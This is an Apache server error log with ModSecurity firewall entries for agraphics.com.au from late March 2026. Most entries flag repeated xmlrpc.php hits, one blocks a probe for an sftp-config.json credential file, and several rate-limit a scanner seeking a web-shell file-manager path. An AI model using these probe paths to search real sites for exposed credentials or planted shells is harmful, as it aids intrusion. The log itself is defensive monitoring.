[Mon Mar 30 13:43:55.342683 2026] [:error] [pid 35343:tid 35353] [client 67.203.33.169:61786] [client 67.203.33.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "acoNm6P5HurqmbvwN-K62QAAAAg"]
[Mon Mar 30 14:34:25.295137 2026] [:error] [pid 41941:tid 41954] [client 213.135.191.226:58212] [client 213.135.191.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.135.191.226, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acoZcSB2g7BNCXGBOJPPIgAAAQs"]
[Mon Mar 30 14:34:25.306314 2026] [proxy_fcgi:error] [pid 41941:tid 41954] [client 213.135.191.226:58212] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 14:36:02.158196 2026] [:error] [pid 35343:tid 35355] [client 179.119.3.91:12735] [client 179.119.3.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.119.3.91, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acoZ0qP5HurqmbvwN-LN3wAAAAo"]
[Mon Mar 30 14:36:02.169923 2026] [proxy_fcgi:error] [pid 35343:tid 35355] [client 179.119.3.91:12735] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 16:38:54.026961 2026] [:error] [pid 41941:tid 41960] [client 154.251.34.212:50685] [client 154.251.34.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.251.34.212, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aco2niB2g7BNCXGBOJMh5gAAARE"]
[Mon Mar 30 16:38:54.043162 2026] [proxy_fcgi:error] [pid 41941:tid 41960] [client 154.251.34.212:50685] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 17:10:07.807891 2026] [:error] [pid 51065:tid 51087] [client 202.153.38.42:55226] [client 202.153.38.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.153.38.42, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aco973Mr8wtZeHSSB7InNQAAAdQ"]
[Mon Mar 30 17:10:07.819674 2026] [proxy_fcgi:error] [pid 51065:tid 51087] [client 202.153.38.42:55226] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 17:50:43.663453 2026] [:error] [pid 35250:tid 35317] [client 88.201.92.135:22335] [client 88.201.92.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.201.92.135, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpHc4aKM1MR6zcp2YND2gAAAMY"]
[Mon Mar 30 17:50:43.672211 2026] [proxy_fcgi:error] [pid 35250:tid 35317] [client 88.201.92.135:22335] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 17:50:58.712838 2026] [:error] [pid 41941:tid 41943] [client 103.74.71.74:56441] [client 103.74.71.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.74.71.74, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpHgiB2g7BNCXGBOJNRDwAAAQA"]
[Mon Mar 30 17:50:58.718664 2026] [proxy_fcgi:error] [pid 41941:tid 41943] [client 103.74.71.74:56441] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 17:51:36.391815 2026] [:error] [pid 35250:tid 35312] [client 179.119.3.91:57075] [client 179.119.3.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.119.3.91, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpHqIaKM1MR6zcp2YNEQQAAAME"]
[Mon Mar 30 17:51:36.402648 2026] [proxy_fcgi:error] [pid 35250:tid 35312] [client 179.119.3.91:57075] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 18:34:29.893242 2026] [:error] [pid 50663:tid 50689] [client 117.231.191.70:50767] [client 117.231.191.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.231.191.70, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpRtW28b9DKIAMEdfAQPwAAAZg"]
[Mon Mar 30 18:34:29.904413 2026] [proxy_fcgi:error] [pid 50663:tid 50689] [client 117.231.191.70:50767] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 18:36:59.684262 2026] [:error] [pid 11947:tid 11960] [client 105.116.14.158:34704] [client 105.116.14.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.116.14.158, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpSSzSVtzzXIgk-FgkxmgAAAgs"]
[Mon Mar 30 18:36:59.696169 2026] [proxy_fcgi:error] [pid 11947:tid 11960] [client 105.116.14.158:34704] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 18:40:32.410269 2026] [:error] [pid 50663:tid 50679] [client 157.49.210.52:64403] [client 157.49.210.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.49.210.52, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpTIG28b9DKIAMEdfARPQAAAY4"]
[Mon Mar 30 18:40:32.422393 2026] [proxy_fcgi:error] [pid 50663:tid 50679] [client 157.49.210.52:64403] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 18:54:39.948388 2026] [:error] [pid 41941:tid 41952] [client 140.213.1.40:49470] [client 140.213.1.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 140.213.1.40, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpWbyB2g7BNCXGBOJNmXQAAAQk"]
[Mon Mar 30 18:54:39.959667 2026] [proxy_fcgi:error] [pid 41941:tid 41952] [client 140.213.1.40:49470] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 18:56:39.088696 2026] [:error] [pid 35250:tid 35327] [client 103.206.97.141:59531] [client 103.206.97.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.206.97.141, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpW54aKM1MR6zcp2YNZkAAAANA"]
[Mon Mar 30 18:56:39.100789 2026] [proxy_fcgi:error] [pid 35250:tid 35327] [client 103.206.97.141:59531] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 19:29:52.115427 2026] [:error] [pid 64743:tid 64764] [client 41.100.130.36:60526] [client 41.100.130.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.100.130.36, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpesCzmpVL6Ubzil4ie-QAAAVM"]
[Mon Mar 30 19:29:52.128473 2026] [proxy_fcgi:error] [pid 64743:tid 64764] [client 41.100.130.36:60526] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 19:33:20.213772 2026] [:error] [pid 50663:tid 50689] [client 110.54.197.199:14884] [client 110.54.197.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.54.197.199, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpfgG28b9DKIAMEdfAfggAAAZg"]
[Mon Mar 30 19:33:20.232371 2026] [proxy_fcgi:error] [pid 50663:tid 50689] [client 110.54.197.199:14884] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 19:46:03.587632 2026] [:error] [pid 35248:tid 35263] [client 43.242.119.233:34088] [client 43.242.119.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.242.119.233, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acpie73igMCgAQPFS_-VxgAAAEk"]
[Mon Mar 30 19:46:03.598288 2026] [proxy_fcgi:error] [pid 35248:tid 35263] [client 43.242.119.233:34088] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 21:44:20.160637 2026] [:error] [pid 63557:tid 63582] [client 213.91.162.179:50458] [client 213.91.162.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.91.162.179, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acp-NK4QNVlzYgEvIjl8DgAAARc"]
[Mon Mar 30 21:44:20.171707 2026] [proxy_fcgi:error] [pid 63557:tid 63582] [client 213.91.162.179:50458] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 00:28:44.735068 2026] [:error] [pid 60745:tid 60757] [client 88.119.141.208:54807] [client 88.119.141.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.119.141.208, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acqkvCQDBn75QnHaPb9oiAAAAEg"]
[Tue Mar 31 00:28:44.746296 2026] [proxy_fcgi:error] [pid 60745:tid 60757] [client 88.119.141.208:54807] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 01:29:16.707395 2026] [:error] [pid 39123:tid 39138] [client 136.158.71.76:52831] [client 136.158.71.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.71.76, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acqy7CobgVY20PMQKVta7QAAAQ0"]
[Tue Mar 31 01:29:16.718396 2026] [proxy_fcgi:error] [pid 39123:tid 39138] [client 136.158.71.76:52831] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 04:50:58.985429 2026] [:error] [pid 18333:tid 18391] [client 145.224.83.237:38604] [client 145.224.83.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 145.224.83.237, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acriMkSx2C5hLR0-8dLZewAAAEw"]
[Tue Mar 31 04:50:59.009769 2026] [proxy_fcgi:error] [pid 18333:tid 18391] [client 145.224.83.237:38604] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 06:13:02.978582 2026] [:error] [pid 18439:tid 18458] [client 189.75.236.177:25724] [client 189.75.236.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.75.236.177, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acr1bi-R9nOaA8Xqs7jkZgAAAMc"]
[Tue Mar 31 06:13:02.989559 2026] [proxy_fcgi:error] [pid 18439:tid 18458] [client 189.75.236.177:25724] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 08:10:59.546572 2026] [:error] [pid 36892:tid 36971] [client 177.4.177.141:26012] [client 177.4.177.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.4.177.141, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acsRE0yj9S4G0ek3O4K-CAAAAJQ"]
[Tue Mar 31 08:10:59.559160 2026] [proxy_fcgi:error] [pid 36892:tid 36971] [client 177.4.177.141:26012] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 08:19:19.179183 2026] [:error] [pid 36890:tid 36911] [client 20.19.191.237:20208] [client 20.19.191.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsTB58FASPd_uH8z7c7fwAAABA"]
[Tue Mar 31 08:19:19.659775 2026] [:error] [pid 36890:tid 36915] [client 20.19.191.237:20115] [client 20.19.191.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsTB58FASPd_uH8z7c7gAAAABQ"]
[Tue Mar 31 08:19:20.127398 2026] [:error] [pid 36890:tid 36905] [client 20.19.191.237:20217] [client 20.19.191.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsTCJ8FASPd_uH8z7c7gwAAAAo"]
[Tue Mar 31 08:19:20.593703 2026] [:error] [pid 36891:tid 36930] [client 20.19.191.237:20166] [client 20.19.191.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsTCJJhiMaJUqoqfl4qwAAAAEY"]
[Tue Mar 31 09:29:58.286172 2026] [:error] [pid 36982:tid 36998] [client 90.176.225.153:53563] [client 90.176.225.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.176.225.153, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acsjlvlMmeoQKN0r_GObHgAAAM0"]
[Tue Mar 31 09:29:58.301838 2026] [proxy_fcgi:error] [pid 36982:tid 36998] [client 90.176.225.153:53563] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 11:21:42.989172 2026] [:error] [pid 36890:tid 36918] [client 124.190.131.180:51776] [client 124.190.131.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.190.131.180, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acs9xp8FASPd_uH8z7eD3AAAABc"]
[Tue Mar 31 11:21:43.003050 2026] [proxy_fcgi:error] [pid 36890:tid 36918] [client 124.190.131.180:51776] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 13:46:18.058129 2026] [:error] [pid 36892:tid 36969] [client 185.80.226.28:58942] [client 185.80.226.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.80.226.28, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "actfqkyj9S4G0ek3O4IlIQAAAJI"]
[Tue Mar 31 13:46:18.069610 2026] [proxy_fcgi:error] [pid 36892:tid 36969] [client 185.80.226.28:58942] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 14:36:33.438145 2026] [:error] [pid 36890:tid 36899] [client 150.242.22.149:50295] [client 150.242.22.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.242.22.149, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "actrcZ8FASPd_uH8z7fIvwAAAAQ"]
[Tue Mar 31 14:36:33.451061 2026] [proxy_fcgi:error] [pid 36890:tid 36899] [client 150.242.22.149:50295] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 14:54:05.109147 2026] [:error] [pid 36982:tid 36986] [client 5.21.90.81:17277] [client 5.21.90.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.21.90.81, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "actvjflMmeoQKN0r_GPFFAAAAME"]
[Tue Mar 31 14:54:05.120054 2026] [proxy_fcgi:error] [pid 36982:tid 36986] [client 5.21.90.81:17277] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 15:13:42.338332 2026] [:error] [pid 36890:tid 36898] [client 46.25.246.119:54236] [client 46.25.246.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.25.246.119, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "act0Jp8FASPd_uH8z7fR-gAAAAM"]
[Tue Mar 31 15:13:42.349922 2026] [proxy_fcgi:error] [pid 36890:tid 36898] [client 46.25.246.119:54236] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 15:46:05.154443 2026] [:error] [pid 36982:tid 36989] [client 103.146.169.26:55254] [client 103.146.169.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.146.169.26, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "act7vflMmeoQKN0r_GPpgwAAAMQ"]
[Tue Mar 31 15:46:05.164557 2026] [proxy_fcgi:error] [pid 36982:tid 36989] [client 103.146.169.26:55254] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 17:24:00.387823 2026] [:error] [pid 36890:tid 36919] [client 103.130.204.62:63670] [client 103.130.204.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.130.204.62, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acuSsJ8FASPd_uH8z7cAowAAABg"]
[Tue Mar 31 17:24:00.400610 2026] [proxy_fcgi:error] [pid 36890:tid 36919] [client 103.130.204.62:63670] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 17:24:16.810885 2026] [:error] [pid 36982:tid 37006] [client 122.174.226.248:58923] [client 122.174.226.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.174.226.248, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acuSwPlMmeoQKN0r_GNAGgAAANU"]
[Tue Mar 31 17:24:16.821867 2026] [proxy_fcgi:error] [pid 36982:tid 37006] [client 122.174.226.248:58923] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 17:25:18.913748 2026] [:error] [pid 6548:tid 6562] [client 201.131.187.12:65095] [client 201.131.187.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.131.187.12, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acuS_rgIz9HgMl9YwE7OtQAAAUw"]
[Tue Mar 31 17:25:18.926563 2026] [proxy_fcgi:error] [pid 6548:tid 6562] [client 201.131.187.12:65095] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 18:33:24.672136 2026] [:error] [pid 41421:tid 41439] [client 103.240.204.49:61618] [client 103.240.204.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.240.204.49, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acui9BSaDjY9kKFtUQB0fAAAAQ8"]
[Tue Mar 31 18:33:24.685050 2026] [proxy_fcgi:error] [pid 41421:tid 41439] [client 103.240.204.49:61618] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 18:34:13.355720 2026] [:error] [pid 36982:tid 36992] [client 120.62.22.224:59935] [client 120.62.22.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.62.22.224, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acujJflMmeoQKN0r_GNtpAAAAMc"]
[Tue Mar 31 18:34:13.365187 2026] [proxy_fcgi:error] [pid 36982:tid 36992] [client 120.62.22.224:59935] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 18:52:37.894023 2026] [:error] [pid 36890:tid 36913] [client 103.151.46.216:50146] [client 103.151.46.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.151.46.216, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acundZ8FASPd_uH8z7chfAAAABI"]
[Tue Mar 31 18:52:37.905953 2026] [proxy_fcgi:error] [pid 36890:tid 36913] [client 103.151.46.216:50146] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 19:20:31.503197 2026] [:error] [pid 36982:tid 36996] [client 223.185.32.11:11071] [client 223.185.32.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.32.11, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acut__lMmeoQKN0r_GOOGQAAAMs"]
[Tue Mar 31 19:20:31.514467 2026] [proxy_fcgi:error] [pid 36982:tid 36996] [client 223.185.32.11:11071] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 19:43:46.089139 2026] [:error] [pid 6548:tid 6558] [client 168.0.4.63:54636] [client 168.0.4.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.0.4.63, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acuzcrgIz9HgMl9YwE4oEwAAAUg"]
[Tue Mar 31 19:43:46.101642 2026] [proxy_fcgi:error] [pid 6548:tid 6558] [client 168.0.4.63:54636] AH01071: Got error 'Primary script unknown'
[Tue Mar 31 21:32:12.129041 2026] [:error] [pid 41421:tid 41424] [client 177.23.224.36:50769] [client 177.23.224.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.23.224.36, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acvM3BSaDjY9kKFtUQCsiQAAAQA"]
[Tue Mar 31 21:32:12.139837 2026] [proxy_fcgi:error] [pid 41421:tid 41424] [client 177.23.224.36:50769] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 02:03:12.922446 2026] [:error] [pid 52594:tid 52702] [client 79.213.254.4:62649] [client 79.213.254.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.213.254.4, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acwMYEe53suVMS91e0Q3HwAAAME"]
[Wed Apr 01 02:03:12.933074 2026] [proxy_fcgi:error] [pid 52594:tid 52702] [client 79.213.254.4:62649] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 02:45:58.824962 2026] [:error] [pid 52836:tid 52892] [client 37.61.116.104:14648] [client 37.61.116.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.61.116.104, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acwWZpjk_YTY8bXnEz5uEAAAAEA"]
[Wed Apr 01 02:45:58.835092 2026] [proxy_fcgi:error] [pid 52836:tid 52892] [client 37.61.116.104:14648] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 02:48:05.522738 2026] [:error] [pid 52836:tid 52910] [client 37.41.217.29:40875] [client 37.41.217.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.41.217.29, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acwW5Zjk_YTY8bXnEz5u7wAAAFI"]
[Wed Apr 01 02:48:05.535362 2026] [proxy_fcgi:error] [pid 52836:tid 52910] [client 37.41.217.29:40875] AH01071: Got error 'Primary script unknown'
